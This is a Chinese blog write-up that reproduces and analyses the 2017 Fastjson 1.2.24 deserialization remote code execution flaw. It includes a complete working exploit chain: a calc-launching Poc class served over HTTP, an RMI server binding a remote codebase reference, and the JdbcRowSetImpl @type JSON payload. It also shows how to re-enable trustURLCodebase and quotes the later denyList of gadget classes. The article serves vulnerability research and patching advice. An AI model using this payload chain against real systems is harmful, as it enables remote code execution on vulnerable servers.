当前位置:   article > 正文

Fastjson 1.2.24 反序列化漏洞研究_fastjson1.2.24反序列化

fastjson1.2.24反序列化

一、概述

fastjson自2017年爆出序列化漏洞以来,漏洞就一直停不下来。本次主要研究2017年第一次爆出反序列化漏洞

二、漏洞复现

  首先在本机简单进行下漏洞复现。

2.1 创建Poc类

该类为最终触发利用代码的类,因为是通过JAVA RMI方式读取,所以该类需继承UnicastRemoteObject。该对象执行后会在windows环境中弹出计算器。使用javac编译Poc类,生成Poc.class文件。并启用一个简单的Http服务,提供读取Poc.class文件,通过http://10.2.13.27:8888/Poc.class可成功访问到Poc.class文件

  1. import java.rmi.RemoteException;
  2. import java.rmi.server.UnicastRemoteObject;
  3. public class Poc extends UnicastRemoteObject{
  4. public Poc() throws RemoteException{
  5. try {
  6. Runtime.getRuntime().exec("calc");
  7. } catch (Exception e) {
  8. e.printStackTrace();
  9. }
  10. }
  11. public static void main(String[] args){
  12. try {
  13. Poc poc = new Poc();
  14. }catch (Exception e){
  15. e.printStackTrace();
  16. }
  17. }
  18. }

2.2 创建RMI服务端

  1. public class RMIService {
  2. public static void main(String[] args){
  3. try {
  4. //netPoc poc = new Poc();
  5. Registry registry = LocateRegistry.createRegistry(10999);
  6. //JdbcRowSetImpl中是通过jndi lookup方法进行代码注入
  7. Reference reference = new Reference("Poc","Poc","http://10.2.13.27:8888/");
  8. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  9. registry.bind("Poc",referenceWrapper);
  10. System.out.println("bind 10999....");
  11. }catch (Exception e){
  12. e.printStackTrace();
  13. }
  14. }
  15. }

2.3 示例代码

若Jdk版本高于8u113需要添加 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true") ,否则将不会成功。因为高版本jdk禁止了RMI协议使用远程codebase。

  1. import com.alibaba.fastjson.JSON;
  2. import com.alibaba.fastjson.JSONObject;
  3. /**
  4. * 利用JdbcRowSetImpl进行反序列化,但高版本jdk无法成功JDK 6u132, 7u122, or 8u113
  5. * */
  6. public class FastJsonService {
  7. public static void main(String[] args){
  8. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  9. //JdbcRowSetImpl
  10. String str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";
  11. JSONObject jsonObject = JSON.parseObject(str);
  12. }
  13. }

2.4 运行效果

三、漏洞分析 

3.1 总体分析

fastjson主要用来进行序列化和反序列化操作。本次漏洞利用主要是反序列化模块,当我们传入一个json字符串时

"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";

因json中指定了@type参数,故fastjson会尝试将该字符串反序列化为JdbcRowSetImpl类对象,并调用类中的set方法对dataSourceName和autoCommit属性进行赋值。
fastjson进行反序列化时,如果类中存在无参构造函数,则直接调用无参构造函数进行初始化类。若不存在无参构造函数,则会寻找参数最多的构造函数进行初始化类。

故会直接调用JdbcRowSetImpl类中的无参构造函数进行类初始化。可看到conn设置为null。所以setAutoCommit方法会进入else中,即调用 this.conn = this.connect(); 

在connect()中可以看到会调用JNDI的lookup函数,并且参数值为我们反序列化时传入的dataSourceName属性,dataSourceName传入值为rmi://10.2.13.27:10999/Poc,所以最终会成功执行到我们编写的Poc类。

3.2 详细分析  

首先,借用别人画的fastjson部分类关系图

鉴于我们的Payload最终是 Runtime.getRuntime.exec("calc") ,所以我们在Runtime类的exec方法中设置断点并启动调试模式

完整调用路径如下图,我们跟踪下调用过程

3.2.1 JSON 

首先调用JSON对象,依次为  parseObject(String text)-->parse(String text)->parse(String text,int featrues) ,其中text为我们输入的 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true}  ,features为989

在parse(String text,int features)中调用 DefaultJSONParser parser=new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features); 

首先初始化了一个DefaultJSONParser的对象,调用的是DefaultJSONParser的三参数构造函数,在DefaultJSONParser构造函数中调用了 new JSONScanner(input,features) 

其中input即为我们的输入 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true}  ,features为989

随后调用 DefaultJSONParser(Object input,JSONLexer lexer,ParserConfig config) 
主要将上一步生成的JSONScanner对象赋值给JSONlexer对象lexer并进行一些初始化操作,ch设置为‘{’,token设置为JSONTOKEN.LBRACE即12

至此 new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features) 完成。
下一步进入JSON类的 parse(String text,int features) 的 Object value=parser.parse()  ,即DefaultJSONParse类的parse()方法

3.2.2 DefaultJSONParse

继续进入 parse()--》parse(ObjectfieldName) ,上一步DefaultJSONParse初始化时,token设置成JSONTOKEN.LBRACE

随后进入 parseObject(object,fieldName) ,通过 scanSymbol 获取到 “@type” 

再获取到我们payload中@type的值为"com.sun.rowset.JdbcRowSetImpl",并通过loadClass加载

随后进入

3.2.3 JavaBeanDeserializer

进入JavaBeanDeserializer的deserialze方法,并执行到 boolean match = parseField(parser, key, object, type, fieldValues); 

 一路跟踪,最后进入 public void setValue(Object object, Object value)  方法,method即为我们传入的JdbcRowSetImpl.setAutoCommit,value即为true。最终会调用传入类的set方法进行赋值,即最终调用setAutoCommit(true)。

至此,就进入我们在3.1中对jdbcRowSetImpl类的setAutoCommit方法的分析,最终导致了远程代码执行。

四、漏洞预防

fastjson在1.2.25开始的版本中新增 public Class<?> checkAutoType(String typeName, Class<?> expectClass) 方法,denyList数组中的类均无法进行反序列化,但仍然存在绕过checkAutoType方法的途径,也导致后续fastjson漏洞不断。

private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(","); 

若要避免fastjson已知漏洞,请直接升级到最新版。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/923125
推荐阅读
相关标签
  

闽ICP备14008679号